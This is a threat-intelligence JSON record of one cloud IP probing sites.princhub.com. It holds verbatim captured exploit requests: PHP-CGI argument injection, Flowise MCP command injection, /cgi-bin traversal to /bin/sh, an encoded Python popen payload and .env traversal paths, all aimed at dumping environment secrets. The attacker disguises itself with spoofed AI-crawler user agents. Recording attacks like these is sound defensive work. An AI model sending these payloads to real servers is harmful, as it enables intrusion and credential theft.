{"ip":"34.84.217.48","total_events":210,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"84 exploit-path hits","confidence":"high","network_type":null,"why":["84 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,277,287 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,277,287 bytes sent","bytes_sent":1277287,"session_seconds":27,"persistent":false}},"first_seen":"2026-09-29T06:44:27","last_seen":"2026-09-29T06:44:56","events_24h":210,"events_7d":210,"geo":{"country_code":"JP","country_name":"Japan","region":"Tokyo","city":"Tokyo","lat":35.6893,"lon":139.6899,"asn":396982,"org":"Google LLC"},"source_domain":"48.217.84.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":210}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106db010006d70303c0773b2904110533e6ee5498e2964f4c2638f68ace3d52e5f75c2226fc81b5d420e356898fe8d67ecba967041e454fbb67732e5564a9e3c3deee046019420f812a0020caca130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100066edada0000000d00120010040308040401050308050501080606010010000e000c02683208687474702f312e3144cd00050003026832003304ef04edfafa00010011ec04c0a061be3b6c7ef883aefa00c2ccc6c7da967aa01650a7c47bfe48be97a367cb8672c1c0ac88188b044709f0eba71fa2930818930b1405f6197187aa48569cc5f4524b87fb41dc606490c608dea63ca4267c2023cdb01275d5f59eb42a11ed6a686413a365b97e2bc44d6c4733a03b6b300598a7b797c2da7d8310a77a46ab970518d898a39a75683bc355e3ab8d6262850b6180ea920f6e151ba15a924be936fd23921b59cc1015506fb85350b29a3e3707edc51d10a6aeee120c08f8899bb703c949a14b461d0713c5a158c7705052f03a5b22aa961e932775156e81b51bf31944d548a792cca0e404ca60239fffc491d9e4b598b077e9074e7c64c80b6bbbf9785333b2932f96ab5fa21427d86283829c973c872e475f76fc755c790135531181016759b4bac7e8211db19941928e3483430e33452e55ac6be68bdfa0bcdd804528bb13bd74b68d982d77422325864161f076faa3b3e13c3996d104d2319c8e6286252418f01981b52bbb4dc15baec7ae713ca7a9215b65159191f24e8b807efab88129f22ad633c6e19c71cbf285c3f109332335468bbab4b186444bcf7fb70ae98c23d198245627422cea53d5410e0fea2553550b81ac945a3905bc5687c4486684f30714d95e74c5c3f996b77ab2915ae374f253bd4e8876dc3b319fb9564294a20f031d3e63c00810310c172fb7075fda97258d911111928f7830a986c0341c140bd8a5148c0504e1caa6da5c3b3675466c6c5613e5c157d8372618ceff0596d53b9e5e6415560cc708968ca6c413ab1504eaf04f75180ec9540c96a7bc1299bc3538811658754dfa6649e317eb781072c23aaef4ae88a058cdf01ab85089ea589e5b4912bc0185a183b84a6b9520d3c90fc83f383c79095b19ffa2320726c366f32f55789ac4b294ce05524e05357232b5d2bba302fb210f5c75d29a7152c06597536f1290753785794a123cfd8632ed7157e14a93261454f55b92d25543e6821d96710540744b1410765bcc5678466a30100812d810bad4a99ee054a66c446db82528f430b903af79a99f2a379bd5067d61fb41f37312ed41004eba52a53137b3385a18f71a59f285a390a7a3f88323c5790f48cc97b3257e6900d760af762068cfb6acefb6824dcb3ccb3252dc476903f2b490508368e6c22be7b299c882b834311b4b1dffd3593f04b695769ebe190306414a605cb0c5a090aedb4376408be88cc076c707cc21b914c9258fdc5c417ab60120a2c7218402216a04e56d4fe160931588cf86adcc44a6bae91ae1201c1965ba093b967d267cf090157102cdbbf06ee86a826990833b407da6f7421517a2c8261429428e616ca8e86c1ccf534862735d30a4476d4aca08604197a50e3d464339438e23a9b3f7b3875fc385ecc1b244067044161c179b5c25e5340e5693a9e461fd2044dcd39d4cdb238f609de745c6ba453f8431a64338b27a766f95156feb30a12c18c2a2b39e13e98f58012a65086a67c0806af5c746d12c7dba912ac063e12b770b317e292bb7e0517c58938c41b0c45ae40ea4e102b49c7904e0960b2a504deb7650e7401aa0c0f2880889b4446054414211a7c96c6210c36a2ef84cc4c26d89726535297325abcc1d603cb1b7beb380391b86458543bcbb4173939cc34c9e15d75a657c4b9cfbd6d1212ec4cc4d953d0f0231cb4b8b7f145c0539c96c27cb6b00aa709eeab1ee3c001d0020e5185db9fafa6defafb00654660c85aa4b35bc4796c7c5c1b1dcb8da87d2417d00000017001500001273697465732e7072696e636875622e636f6d002b0007061a1a03040303002d00020101002300000005000501000000000012000000170000000a000c000afafa11ec001d00170018000b00020100001b0003020002ff01000100fe0d00da0000010001fe0020a4b30f95edbd2953064b6348230bd81867349f87062c3320dc866abefdcb200b00b050cd6e948beda70392dfdd96856957845bffa9afa354e02652e5da61ba383ddfe6f356843bed1f9a1553bc8b65a750c0b79df2bd873aa748058416fa5408f2502ac66507c8daa763dbf7255e21da342946ab538b01e962f9849e3d2f0e64a72dc93dc9b91cadd8ff9b581df831eea09215a569fe4a6add47f342ae956048dd31d8d3917dcdf105dcb4092478625a7d12b2a3a7da2d59260b53b50dae20e7c9daa46ae4582d8ab685792cbc720f656c07aaaa0001","tls_ja3":["5c42dde6e817bfd1219537da4d2ba677","ce244b61e434ec71c3beda6a8d9d2ee2","7511b85fc21a6d34ba265a8d9464f270","f3a8bedda5bfefa1bc5b24bc699759e4","7f8d3e5e8e1450cbd376ca92a245f901"],"http_akin":["a11cuq150_045c6e5d_efd6a5d2","a11cun062_0000004d_84d4cebf","a11cuq082_0000064d_8184102b","a11cun163_001ce87d_62d94f65","a11cuq050_0000064c_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":9,"a11cuq082_0000064d_8184102b":5,"a11cuq050_0000064c_107c8b82":26,"a11cun062_0000004d_84d4cebf":5,"a11cuq150_045c6e5d_efd6a5d2":5,"a11cun163_001ce87d_62d94f65":5},"akin_families":{"a11cuq082_0000064d_8184102b":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26},"a11cuq050_0000064c_107c8b82":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26}},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-29","count":210}],"recent_events":[{"timestamp":"2026-09-29T06:44:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":33,"duration_ms":26635,"bytes_in":12264,"bytes_out":2541},{"timestamp":"2026-09-29T06:44:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33363b20636f6d70617469626c653b204f41492d536561726368426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":32,"duration_ms":26185,"bytes_in":11861,"bytes_out":2464},{"timestamp":"2026-09-29T06:44:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":31,"duration_ms":25769,"bytes_in":11295,"bytes_out":2387},{"timestamp":"2026-09-29T06:44:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":29,"duration_ms":24877,"bytes_in":10522,"bytes_out":2233},{"timestamp":"2026-09-29T06:44:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205969426f742f312e303b202b68747470733a2f2f30312e61692f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":30,"duration_ms":25278,"bytes_in":10856,"bytes_out":2310},{"timestamp":"2026-09-29T06:44:54","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":27,"duration_ms":23993,"bytes_in":9754,"bytes_out":2079},{"timestamp":"2026-09-29T06:44:54","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":28,"duration_ms":24385,"bytes_in":10147,"bytes_out":2156},{"timestamp":"2026-09-29T06:44:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":25,"duration_ms":23155,"bytes_in":9013,"bytes_out":1925},{"timestamp":"2026-09-29T06:44:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":26,"duration_ms":23550,"bytes_in":9406,"bytes_out":2002},{"timestamp":"2026-09-29T06:44:52","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"b077bc8b9dfc34e69ac3cbaf64360819","session":"1cb44e07-81a2-4e89-b1aa-01fa74464eac","seq":23,"duration_ms":22239,"bytes_in":8314,"bytes_out":1771}],"http_methods":[{"method":"GET","count":172},{"method":"POST","count":35},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/auth/session","count":1,"ports":1},{"path":"/wp-config.old","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/z9x8c7v6b5-debug-trigger-sites.princhub.com","count":1,"ports":1},{"path":"/public/plugins/text/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/@fs/../.env?import&raw??","count":1,"ports":1},{"path":"/.env.production?import&raw","count":1,"ports":1},{"path":"/.env.local?.svg?.wasm?init","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":210}],"top_hosts":[{"value":"sites.princhub.com","count":210}],"top_alpns":[{"value":"h2, http/1.1","count":210}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code 